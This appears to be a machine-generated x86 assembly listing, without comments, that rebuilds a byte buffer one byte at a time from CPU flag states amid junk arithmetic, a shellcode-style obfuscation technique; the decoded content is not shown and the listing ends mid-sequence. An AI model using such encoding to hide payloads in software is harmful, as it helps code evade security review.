mov eax, 0x75beff8a
dec eax
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x49b18ae4
rol eax, 1
mov ebx, 0x30348228
mov edx, 0x8e5d2604
sub ebx, edx
mov eax, 0xab1e4c47
aas
mov ebx, 0x2c15c500
inc ebx
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0x36e1b356
mov ecx, 0xd848b874
ror eax, cl
mov edx, 0x1bb7d8a3
sal edx, 0x81
mov eax, 0x1feeecc0
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x5d574f05
mov ecx, 0x56d66c23
rol ebx, cl
mov ecx, 0x77f3d118
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x203c7651
mov eax, 0x31c542c5
add edx, eax
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x6fc3a134
rol ebx, 1
mov edx, 0x163524af
rol edx, 1
mov eax, 0x4c1b2cf6
mov ecx, 0x762aeb03
sal eax, cl
mov eax, 0x5164afbd
dec eax
lahf
mov al, ah
stosb byte es:[edi], al
mov ecx, 0xdda60a89
add ecx, 0x23e712a0
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0xfc561dda
mov ecx, 0x267117a6
shl ebx, cl
mov eax, 0x5db694af
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x8fa7548f
sal ebx, 0xa8
mov ebx, 0x2c316ca0
dec ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x22f01d47
mov ecx, 0xbf33360a
ror ebx, cl
mov eax, 0x6a255261
aaa
mov edx, 0xa64cdcc0
dec edx
mov eax, 0x97113023
mov ecx, 0xdb389f77
rol eax, cl
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0x584ebc9d
mov ecx, 0x17492af9
ror edx, cl
mov edx, 0x43e56e20
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xf57490ba
rol eax, 1
mov edx, 0x65cab575
add edx, 0x133b0c3c
lahf
mov byte [edi], ah
inc edi
mov edx, 0x128560c0
neg edx
mov ebx, 0x978764f
mov ecx, 0x8adb9f0f
rol ebx, cl
mov ecx, 0x9c874330
dec ecx
mov ebx, 0xdb201a2c
mov ecx, 0x7a239770
ror ebx, cl
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0xf27b1097
shl edx, 1
mov ebx, 0xd17e325c
sar ebx, 0x72
mov eax, 0xa19e21d9
rol eax, 1
mov edx, 0xc5119709
rol edx, 1
mov ebx, 0x4286ab52
mov ecx, 0xe761bdd2
ror ebx, cl
mov ecx, 0xe83f0549
neg ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x805851bd
sal edx, 0xa4
mov edx, 0x4a0418b6
dec edx
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x11820a6e
mov ebx, 0x409386bf
cmp ecx, ebx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0x91e86867
rol edx, 1
mov eax, 0xdf321cd1
mov ecx, 0x9b3dca49
ror eax, cl
mov ebx, 0xee8e4bf4
rol ebx, 1
mov eax, 0xdc43e608
dec eax
mov eax, 0xeaec62dc
rol eax, 1
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0xab849df7
sal edx, 1
mov ecx, 0x6ac6dbd0
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x63ace06d
add ebx, 0x875a5fa
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0x8141ba23
aaa
mov eax, 0xcbe4035
shl eax, 1
mov edx, 0x2886460
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x9aa0871a
mov ecx, 0x87a33387
rol eax, cl
mov ebx, 0xbd8a405f
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xcc66d2fa
rol eax, 1
mov edx, 0x95c0ed2e
mov ecx, 0xfb430b0f
ror edx, cl
mov ecx, 0x3b330916
mov ebx, 0xeef060f2
add ecx, ebx
mov eax, 0x13fac3dd
aas
mov ebx, 0xef7bdd0c
mov ecx, 0xb0a7c4b
ror ebx, cl
mov ebx, 0xd82d57ca
mov ecx, 0x3f44e275
rol ebx, cl
mov ebx, 0x32dcba0b
mov ecx, 0xab4ff38e
rol ebx, cl
mov ebx, 0x417a9e20
dec ebx
mov eax, 0x85d274a1
rol eax, 1
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x7829933
dec ebx
mov ebx, 0xee7fb41
mov ecx, 0x94a65cbf
rol ebx, cl
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0x36a1a412
mov ecx, 0xff089825
sal eax, cl
mov edx, 0x567576e0
dec edx
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x2440a50
inc ecx
mov edx, 0xfeb07c6c
mov ecx, 0xb1f3ce73
rol edx, cl
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0x465b55ca
sal ebx, 1
mov ebx, 0x780d68fa
inc ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xbd156c41
mov ecx, 0x86cc3526
shl eax, cl
mov ebx, 0x79cd3b6d
inc ebx
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0x3fef672b
inc ebx
mov ebx, 0x8501bc4e
mov ecx, 0xae86743
rol ebx, cl
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0xd33919f5
mov ecx, 0x4f00858a
rol eax, cl
mov edx, 0x43bced26
mov ecx, 0xf3af6799
rol edx, cl
mov edx, 0x4a97e5df
inc edx
mov ebx, 0xd4f026d0
mov ecx, 0xf93301c3
rol ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x4d3866a6
add ecx, 0x211151a6
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xc7c6024
rol ebx, 1
mov ecx, 0x7081c7c0
inc ecx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ecx, 0xa5f6d42
mov edx, 0x8cacc8c1
cmp ecx, edx
mov eax, 0x7bf1af85
aas
mov edx, 0xe6572eac
inc edx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x17ae93bf
rol eax, 1
mov eax, 0x77465d8
mov ecx, 0x1347b45e
rol eax, cl
mov eax, 0x35a46146
dec eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0x953c6a78
mov ecx, 0x9b2f4f64
sar eax, cl
mov ebx, 0x5d0fa96f
inc ebx
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0x602532
mov edx, 0x9919bca7
sub ebx, edx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xeab60f3f
mov ecx, 0x52517eaa
ror edx, cl
mov edx, 0xb64545d8
mov ebx, 0xd19a432c
cmp edx, ebx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xbb02df04
rol edx, 1
mov eax, 0xaf7ca4fe
mov ecx, 0xb66ff8a5
ror eax, cl
mov edx, 0x7214aedb
mov ecx, 0x4677338
rol edx, cl
mov ecx, 0x65b98a9e
inc ecx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0xed2d70eb
mov edx, 0xe262d485
sub ebx, edx
mov eax, 0xb0e82a06
sal eax, 0x28
mov eax, 0x4139909f
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xde7190aa
mov ecx, 0x2418b7bc
ror ebx, cl
mov edx, 0xeaa9b175
mov ecx, 0x5e30f087
rol edx, cl
mov eax, 0x8bbb632b
mov ecx, 0xa8d80bbf
cmp eax, ecx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x56f0925
mov ecx, 0xb04eb346
shl edx, cl
mov ebx, 0x52ac5dc0
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xa96bcc4f
mov ecx, 0xecc8774b
cmp eax, ecx
mov eax, 0x429d5722
aaa
mov ecx, 0x6b992465
dec ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0xcc1fe74c
mov edx, 0x8b6ca0de
sub eax, edx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xbc2202f4
rol edx, 1
mov eax, 0xfb0f1e46
aas
mov eax, 0xd91eba77
mov ebx, 0xc5ff7462
add eax, ebx
mov ecx, 0x16482716
dec ecx
mov edx, 0xd3decfba
mov ecx, 0x719f118
rol edx, cl
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x71b7170d
inc ecx
mov edx, 0xe8894e1b
mov ecx, 0x2790d4f1
rol edx, cl
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x5f99b53
cmp ebx, 0x993e45c1
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0x297edc9c
mov ecx, 0xaf398038
ror edx, cl
mov ecx, 0x5f5926c
dec ecx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x44309e6f
inc edx
mov ebx, 0x735cc7bc
mov ecx, 0x9dcfad32
ror ebx, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x3edea0be
mov ecx, 0x3e19ddaa
sar eax, cl
mov edx, 0x4bb6060d
inc edx
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0x1b8eafe6
sub eax, 0x2faf5f33
mov eax, 0x2ba8c455
aas
mov ebx, 0xe66875e
dec ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x2fb5e813
dec edx
mov eax, 0x12312894
mov ecx, 0xced89efe
ror eax, cl
lahf
mov byte [edi], ah
inc edi
mov edx, 0xd6695759
mov ecx, 0xa0f07a9c
ror edx, cl
mov edx, 0x35fa5d69
dec edx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x2c022c20
dec ebx
mov eax, 0x987c1416
mov ecx, 0xa36f20f7
ror eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x4dc01c0
add edx, 0x49e5de65
mov eax, 0x9a86389a
aas
mov eax, 0x68631700
dec eax
mov ebx, 0x80db4990
rol ebx, 1
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ecx, 0xde8da8aa
inc ecx
mov edx, 0xd6891b73
rol edx, 1
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0x604dd528
sub ebx, 0xa7021816
mov eax, 0x3b7c0ea1
aaa
mov edx, 0x145a6e3e
dec edx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x41b99e49
rol ebx, 1
mov ebx, 0x64be801c
mov edx, 0xf91f5bbc
cmp ebx, edx
mov edx, 0x8f0126c3
sub edx, 0x61a6f29c
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x53f5c51e
mov ecx, 0x958a4ffc
cmp ebx, ecx
mov ecx, 0xa4c1eba0
cmp ecx, 0x2466b3df
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x809f6a6d
neg edx
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0xab11b998
sal edx, 4
mov eax, 0x47132f5c
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xef5a4e74
add edx, 0x858b0253
mov eax, 0xef67c872
aas
mov ecx, 0x9a804129
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xe8041f1b
mov ecx, 0x31ed36ab
cmp eax, ecx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0x705dc849
mov ecx, 0x5a3414cb
shl ebx, cl
mov eax, 0x4e15cabf
inc eax
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0xa50b9760
mov ecx, 0xdcdaec0c
sar edx, cl
mov ebx, 0x774a5464
mov edx, 0x86bb985b
add ebx, edx
mov edx, 0x3e5b7d0e
mov ecx, 0xc96a1016
ror edx, cl
mov ecx, 0xe40b317f
inc ecx
mov edx, 0xb5e72446
mov ecx, 0x77a66b47
rol edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xd57e66db
mov ecx, 0x8b39ca3b
ror edx, cl
mov eax, 0xe5fb5255
aaa
mov eax, 0x9cb7485c
shl eax, 1
mov eax, 0x52c15ab0
dec eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0x124aba8d
shl ebx, 1
mov eax, 0x5903b705
mov ecx, 0x85b23774
ror eax, cl
mov ebx, 0x5d0e0695
rol ebx, 1
mov ecx, 0x7121013f
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x2918048e
mov eax, 0xff71219c
cmp ebx, eax
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0x452eaaa5
mov ecx, 0x2ba9c86b
rol edx, cl
mov ebx, 0x84844ea
rol ebx, 1
mov ebx, 0x7cdbd63a
mov edx, 0x13783554
cmp ebx, edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x109edc71
shl eax, 0x82
mov eax, 0x7c4d909e
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x7ac4886
shl ebx, 1
mov ebx, 0x171a49bc
mov ecx, 0xa1c59aab
shl ebx, cl
mov eax, 0x1b83a22
mov ecx, 0x3c1b716e
rol eax, cl
mov ebx, 0x6f439a6d
mov ecx, 0xf9c02950
cmp ebx, ecx
mov ecx, 0x314bd898
add ecx, 0x728c2d4
mov edx, 0x48da7478
shl edx, 1
mov ebx, 0xd3d82445
sub ebx, 0x33316957
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0x45f0d71f
aaa
mov eax, 0xfa9b8750
neg eax
mov eax, 0xf6126512
dec eax
mov eax, 0x16a4526d
mov ecx, 0x213779ce
rol eax, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x2f351a
mov ecx, 0xde0ea1db
ror edx, cl
mov edx, 0x531f9b11
shl edx, 1
mov edx, 0xc4719408
cmp edx, 0x425653fc
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0x35168867
mov ecx, 0xca315bd0
rol edx, cl
mov ebx, 0x799b6530
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x8113621a
mov ecx, 0x402f624
rol edx, cl
mov ebx, 0x586861d1
mov ecx, 0x84813782
add ebx, ecx
mov edx, 0x3270a75f
mov ecx, 0x5cb3fb43
sal edx, cl
mov ecx, 0x59c7c5d
inc ecx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0x75182f60
mov ebx, 0x5b71384f
cmp eax, ebx
lahf
mov byte [edi], ah
inc edi
mov ecx, 0xae5ca4df
inc ecx
mov eax, 0x54485ee7
mov ecx, 0xfeeba021
rol eax, cl
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0x64608582
rol edx, 1
mov eax, 0x78db08a4
mov ecx, 0x5dea508f
shl eax, cl
mov ecx, 0x168d6c5f
inc ecx
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0x8a4514bd
mov ecx, 0x8abc3b09
sar ebx, cl
mov ebx, 0x194a1dcc
dec ebx
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0xdf6d0a2e
mov ecx, 0xdb84d3d3
ror edx, cl
mov edx, 0x788f7050
mov ecx, 0x7bee3c39
ror edx, cl
mov eax, 0xac44aa12
mov ecx, 0x957ef1c
rol eax, cl
mov eax, 0xc6ae9d43
rol eax, 1
mov eax, 0x7dc8e918
mov ecx, 0xde6b441f
rol eax, cl
mov edx, 0x673f54cb
shl edx, 1
mov edx, 0x5b72639f
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x2235d00a
mov ecx, 0xcc6c5c2a
rol edx, cl
mov eax, 0x6517a226
mov ecx, 0xa596a408
ror eax, cl
mov ebx, 0x967a9b42
rol ebx, 1
mov ecx, 0xef3445de
inc ecx
mov eax, 0xcaa00615
mov ecx, 0x77a391b1
rol eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x4d3a4030
mov ecx, 0x5c656154
rol eax, cl
mov ebx, 0xb31d43aa
mov ecx, 0xeff4c730
ror ebx, cl
mov ebx, 0x32804b83
sal ebx, 1
mov ecx, 0x6e37e040
dec ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x79d498fa
shl eax, 1
mov eax, 0x8ed09779
mov ecx, 0xee93e9d5
rol eax, cl
mov eax, 0xc7fcec30
dec eax
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0xf45cfba7
add edx, 0x4365ae1f
lahf
mov byte [edi], ah
inc edi
mov ecx, 0xa1f31951
cmp ecx, 0x2eb09c0c
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x52ad6460
sal edx, 0x62
mov ecx, 0x2a65e7e6
dec ecx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x76d5d8cf
dec eax
mov eax, 0x45532fcf
mov ecx, 0x314260dc
rol eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xbcb79e0
dec ebx
mov eax, 0x99a714e1
mov ecx, 0x92669d34
ror eax, cl
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0x169fb136
mov ecx, 0x883eb879
rol edx, cl
mov ebx, 0x801cb4f8
mov ecx, 0xe58f1c57
ror ebx, cl
mov ebx, 0x9f14950f
inc ebx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0xfa5f43b2
mov ecx, 0xa2fe3e90
rol ebx, cl
mov ebx, 0x13d6f304
mov ecx, 0xebf1e4ee
rol ebx, cl
mov ecx, 0x37742b10
dec ecx
mov ebx, 0x6d993c14
rol ebx, 1
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0x65a4bcea
mov edx, 0x6f0d1b9d
sub eax, edx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0xf928e544
mov ecx, 0xab4bff4d
rol eax, cl
mov ebx, 0x9c91c5fe
rol ebx, 1
mov ebx, 0xac93ed96
add ebx, 0x74d0de6e
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xde8b8ac
mov ecx, 0x1b0b85c5
rol edx, cl
mov ebx, 0x83b78735
mov ecx, 0x9ab6c5bc
ror ebx, cl
mov eax, 0x733e87aa
shl eax, 1
mov edx, 0x2ab5046f
dec edx
lahf
mov byte [edi], ah
inc edi
mov ecx, 0xa2148efb
mov edx, 0x4abdfbfe
cmp ecx, edx
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x84f152c
sub ecx, 0xcbdcea61
lahf
mov byte [edi], ah
inc edi
mov edx, 0xeb9d4a1b
mov eax, 0x5812281b
cmp edx, eax
mov eax, 0xa33f3645
aas
mov ebx, 0x345b627b
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x66d2c470
rol ebx, 1
mov edx, 0x7b15f5af
rol edx, 1
mov edx, 0x2882defc
mov ecx, 0xf7cd9114
rol edx, cl
mov eax, 0x23943f8a
dec eax
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0x482e0575
sub edx, 0xefcf9081
mov eax, 0xb9ebf5d7
aaa
mov edx, 0x2f062cd2
inc edx
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0x4019a245
mov ecx, 0xe36023b1
ror edx, cl
mov eax, 0xf3dbd0be
rol eax, 1
mov ecx, 0x81afd893
mov eax, 0xb9bce4ab
add ecx, eax
mov eax, 0x798ba55a
rol eax, 1
mov eax, 0x1d98831f
inc eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0x3ef30d59
mov ecx, 0x8d629511
ror eax, cl
mov edx, 0xb35b0999
shl edx, 0x82
mov edx, 0x292fe4da
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0xd188ebe4
mov edx, 0xd721bf74
sub ecx, edx
mov eax, 0x4959a910
aas
mov ebx, 0x5fcc75da
dec ebx
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0x75cef80d
shl eax, 1
mov ecx, 0x4ef5fe1f
inc ecx
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0x81309264
mov eax, 0xd1a90f47
add ebx, eax
mov eax, 0x143ae308
aas
mov ebx, 0xce1fae7
dec ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x6bd51b23
mov eax, 0xffead4ad
cmp ebx, eax
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x5889231b
mov ecx, 0x57904988
ror eax, cl
mov eax, 0x1ff2ba84
sar eax, 0xcd
mov edx, 0x257cab82
sub edx, 0xee0527bd
lahf
mov byte [edi], ah
inc edi
mov eax, 0x3f86b198
add eax, 0x104728d2
mov ebx, 0x8ced1169
mov ecx, 0xcf04ecbe
ror ebx, cl
mov eax, 0xfa9c7a7e
sar eax, 0x59
mov eax, 0x2488decf
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x31a3a9b9
rol ebx, 1
mov edx, 0x68f6c787
sal edx, 1
mov ecx, 0x1e826d39
dec ecx
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0x2185ec99
mov ecx, 0xf6fcc5c3
rol ebx, cl
mov edx, 0xe9e75ac0
mov ecx, 0xfba6ab39
ror edx, cl
mov eax, 0x55a70de6
sal eax, 1
mov edx, 0x3a528540
dec edx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x7913188d
shl edx, 0x27
mov eax, 0xfab9c86f
inc eax
lahf
mov byte [edi], ah
inc edi
mov edx, 0x801abe8c
mov ecx, 0xec5e248
rol edx, cl
mov ecx, 0x29be0fc4
cmp ecx, 0xda1f0231
mov eax, 0xee17e04e
aaa
mov eax, 0x2c944f38
mov ecx, 0x18e79d81
rol eax, cl
mov ebx, 0xf14a65a0
mov ecx, 0xc6b5fcef
sal ebx, cl
mov edx, 0x176d2b5f
inc edx
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x149e20b6
mov edx, 0x1b7f7803
cmp ecx, edx
mov ebx, 0x8f5ebc60
neg ebx
mov eax, 0x409c4a79
rol eax, 1
mov edx, 0x1a85a1c
mov ecx, 0x85cba171
rol edx, cl
mov edx, 0x316f110f
inc edx
mov eax, 0xb0317f7
mov ecx, 0xbfb2f735
ror eax, cl
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ecx, 0x75f1ab6e
dec ecx
mov eax, 0x802dd6e3
mov ecx, 0x87441167
ror eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x1d475007
mov ecx, 0x60864175
rol edx, cl
mov eax, 0x6e3fffd4
dec eax
lahf
mov byte [edi], ah
inc edi
mov edx, 0x35bff3b9
shl edx, 0xe7
mov eax, 0x1d785a09
dec eax
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0x348999bb
rol ebx, 1
mov edx, 0x82fd6fa6
mov ecx, 0x9354c23c
ror edx, cl
mov eax, 0x6e16970f
sal eax, 1
mov edx, 0x2a032231
mov ecx, 0xfab2c198
ror edx, cl
mov ebx, 0x99f33140
dec ebx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0xc2364dac
cmp eax, 0x5537a17f
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xe20ea02d
aas
mov edx, 0x267d2b2d
cmp edx, 0xa972a5a1
mov edx, 0x67daa323
mov eax, 0xd40bec53
add edx, eax
mov ebx, 0x96902e3d
mov ecx, 0x3d53720a
rol ebx, cl
mov ecx, 0xb5a154df
inc ecx
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0x559ee895
mov ecx, 0x77d99828
ror ebx, cl
mov eax, 0x5c9de8cb
mov ecx, 0x4f74662c
shl eax, cl
mov edx, 0x2a6e7f53
sal edx, 0xb8
mov edx, 0x130b398f
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x53325bec
rol eax, 1
mov edx, 0x4965c830
dec edx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x529245bd
mov ecx, 0x401db277
rol eax, cl
mov edx, 0x5de0f5a
dec edx
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x1f244c77
dec ecx
mov ebx, 0x9903599
mov ecx, 0x9c5366af
ror ebx, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov ecx, 0x9954c572
mov eax, 0x10fde77b
add ecx, eax
mov eax, 0x9d9fdc04
aaa
mov ecx, 0xddd8dd17
inc ecx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xc65073ba
cmp ebx, 0x49e0d3
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x82bd18a8
mov ecx, 0xba14978b
rol ebx, cl
mov edx, 0x37acdc7c
inc edx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x57f35dd4
shl ebx, 1
mov edx, 0xcaae6063
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x8186d1be
neg eax
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0x5c990e22
mov ecx, 0xa1e04397
ror edx, cl
mov eax, 0xe24b151f
inc eax
mov edx, 0xf43b5211
mov ecx, 0x2aca3162
ror edx, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x8970de31
mov ecx, 0xafb3911c
rol ebx, cl
mov ecx, 0x622be964
dec ecx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x31b8b853
inc edx
mov eax, 0x82b310
rol eax, 1
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x8b85bf11
mov ecx, 0xc8fcf293
rol edx, cl
mov ecx, 0xf7834004
dec ecx
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0x67195b9
mov ecx, 0xec189d09
rol eax, cl
mov ebx, 0x2aeea363
mov eax, 0xfb8f6a61
sub ebx, eax
mov ebx, 0xd37b5548
mov ecx, 0xff0aaa37
ror ebx, cl
mov edx, 0xd2798d75
mov ecx, 0xc3408b99
ror edx, cl
mov eax, 0xddf71a9f
inc eax
lahf
xchg al, ah
stosb byte es:[edi], al
mov ecx, 0xed3d8dbb
mov ebx, 0xc932957a
cmp ecx, ebx
mov edx, 0xbaa17e5f
sal edx, 0xe7
mov ecx, 0xea9b6068
dec ecx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0xac50eacb
mov ecx, 0x12137bd0
rol eax, cl
mov eax, 0xe2619df
inc eax
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0xfbb9017c
mov ecx, 0xc980348a
rol ebx, cl
mov eax, 0xd27b7c37
rol eax, 1
mov eax, 0x4529f477
rol eax, 1
mov edx, 0x393f6c9f
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xc2e9df0a
mov ebx, 0x2b6e282e
cmp eax, ebx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0xb4d25991
rol edx, 1
mov edx, 0x8573dc42
rol edx, 1
mov ebx, 0x2feb5537
mov ecx, 0x473a5f0d
ror ebx, cl
mov edx, 0x48b790f1
cmp edx, 0xe824ef6d
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0x166699cb
rol ebx, 1
mov eax, 0x71bb5ea7
inc eax
lahf
mov byte [edi], ah
inc edi
mov eax, 0x3ca22689
rol eax, 1
mov edx, 0xfe6949ac
inc edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x11a185ad
rol eax, 1
mov edx, 0xf92371ce
dec edx
lahf
mov al, ah
stosb byte es:[edi], al
mov ecx, 0x71134600
sub ecx, 0x1f503856
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x99260330
mov ecx, 0xf96743be
add ebx, ecx
mov eax, 0xe5272b3f
inc eax
mov ebx, 0x40799ca9
rol ebx, 1
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0x359c7c2f
inc ebx
mov eax, 0x9c345a92
rol eax, 1
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x4bff5ef3
rol ebx, 1
mov ebx, 0xbbf7c5d0
mov ecx, 0x8bf61bdc
ror ebx, cl
mov eax, 0xf1d535e1
mov ecx, 0x968c7087
sal eax, cl
mov ebx, 0xb4aaec8b
mov ecx, 0xfb952947
shl ebx, cl
mov eax, 0x78b0dccf
inc eax
lahf
mov byte [edi], ah
inc edi
mov edx, 0xce6b5f4b
mov ecx, 0x4fbad12f
ror edx, cl
mov edx, 0xf779e79c
sal edx, 2
mov eax, 0x5517bef5
dec eax
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0xd00f2db7
mov edx, 0x589c3342
sub ebx, edx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xc7914c26
mov ecx, 0x56f66877
add ebx, ecx
mov eax, 0x4ece359e
aaa
mov edx, 0x15c6ad0
dec edx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0x3dc7c13a
rol ebx, 1
mov ebx, 0x47600112
dec ebx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xc08018c
mov ecx, 0xbdab498b
shl ebx, cl
mov ecx, 0x48703848
sub ecx, 0x27e97379
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x61074dd4
shl ebx, 1
mov ebx, 0x80c4a97d
mov ecx, 0x5fd755d3
rol ebx, cl
mov ebx, 0x164dfc30
mov ecx, 0x21e4538e
ror ebx, cl
mov edx, 0x753fd039
rol edx, 1
mov ecx, 0xc9e2a441
sub ecx, 0x1738252
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0xb33a4e8e
neg edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xb11d4494
mov ecx, 0x25f47dac
rol eax, cl
mov ecx, 0xe2d8b0a2
cmp ecx, 0x96312188
lahf
mov byte [edi], ah
inc edi
mov ecx, 0xfe5241ac
mov eax, 0x75233191
cmp ecx, eax
mov eax, 0x584c9248
aas
mov edx, 0x5aad0be
dec edx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x2905af7c
mov ecx, 0x6c7c7cb8
sar ebx, cl
